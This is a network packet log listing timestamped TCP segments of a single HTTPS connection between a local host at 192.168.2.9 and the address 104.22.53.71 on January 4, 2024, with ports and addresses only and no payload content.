Jan 4, 2024 08:37:17.959486008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.959502935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.959980011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.959997892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960022926 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.960031986 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960052967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.960477114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960490942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960536003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.960544109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960844994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960896969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960906029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.960911989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.960952044 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.961328983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961347103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961410046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.961421967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961694002 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961714029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961745977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.961756945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.961764097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962016106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962030888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962085009 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962097883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962104082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962496042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962533951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962546110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962551117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962583065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962881088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962896109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962929964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.962934971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.962958097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.963368893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963387966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963450909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.963457108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963463068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.963824987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963838100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963875055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.963880062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.963911057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.964452982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.964473009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.964593887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.964598894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.964993000 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965007067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965042114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.965046883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965084076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.965418100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965436935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965739012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.965749025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965925932 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.965951920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.966016054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.966022015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.966392040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.966412067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.966459990 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.966465950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.966526031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967075109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967092037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967142105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967145920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967174053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967560053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967581034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967622995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967628956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967653036 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967899084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967911959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967955112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.967961073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.967992067 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.968281984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.968306065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.968338966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.968346119 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.968380928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.968950033 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.968965054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969012976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.969018936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969039917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.969444036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969464064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969508886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.969512939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969536066 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.969842911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969856977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.969928026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.969933033 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.970421076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.970470905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.970479965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.970484972 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.970524073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.971052885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971067905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971120119 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.971126080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971147060 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.971612930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971632004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971685886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.971689939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.971710920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.972276926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.972290993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.972393036 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.972398043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.972856998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.972875118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.972963095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.972969055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973326921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973341942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973385096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.973390102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973407984 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.973823071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973849058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973881006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.973886967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.973912954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.974426985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.974464893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.974484921 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.974489927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.974517107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.974991083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975012064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975049973 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.975055933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975075006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.975533962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975549936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975589991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.975595951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975617886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.975955009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.975977898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976069927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.976069927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.976077080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976387978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976442099 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.976444006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976455927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976500034 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.976911068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976928949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.976974964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.976980925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977001905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.977372885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977391958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977428913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.977432966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977463961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.977765083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977786064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977819920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.977824926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.977844954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.978296041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978318930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978360891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.978367090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978382111 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.978694916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978710890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978754997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.978764057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.978790998 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.979146004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979167938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979208946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.979214907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979264975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.979681969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979713917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979752064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.979758978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979775906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.979953051 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.979974031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.980026007 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.980031967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.980448008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.980462074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.980498075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.980501890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.980520964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.981014013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981034994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981065035 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.981072903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981092930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.981580973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981632948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981638908 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.981642962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.981683969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.982276917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982299089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982327938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.982333899 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982352018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.982686043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982707024 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982731104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.982738018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.982759953 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.983338118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983369112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983402967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.983408928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983416080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.983820915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983850956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983885050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.983891010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.983896017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.984154940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984174967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984203100 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.984209061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984225035 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.984587908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984621048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984639883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.984646082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.984671116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.985173941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985189915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985220909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.985229015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985246897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.985858917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985877991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985915899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.985920906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.985945940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.986534119 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.986548901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.986593962 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.986598969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987030983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987052917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987104893 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.987108946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987132072 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.987545967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987561941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987596989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.987601042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987623930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.987936974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987956047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.987988949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.987993956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988014936 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.988539934 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988554955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988589048 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.988593102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988616943 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.988943100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988962889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.988991022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.988997936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.989021063 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.989483118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.989497900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.989541054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.989546061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.989551067 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.990003109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990021944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990072966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.990072966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.990078926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990534067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990549088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990581036 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.990586996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.990603924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991036892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991056919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991090059 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991096020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991117954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991461992 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991494894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991513014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991518974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991547108 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991931915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991950035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.991985083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.991991043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.992006063 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.992371082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.992386103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.992419004 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.992423058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.992446899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.992971897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.992991924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993031979 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993038893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993046045 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993292093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993305922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993343115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993346930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993376970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993550062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993568897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993599892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993606091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993632078 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.993961096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.993974924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.994012117 CET	49706	443	192.168.2.9	104.22.53.71
